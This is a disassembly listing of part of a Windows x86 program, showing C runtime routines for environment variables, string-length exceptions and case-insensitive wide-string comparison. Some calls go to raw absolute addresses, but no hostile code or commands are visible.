loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25D0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2840000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2650444h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		call	near ptr 2641168h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2801207h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
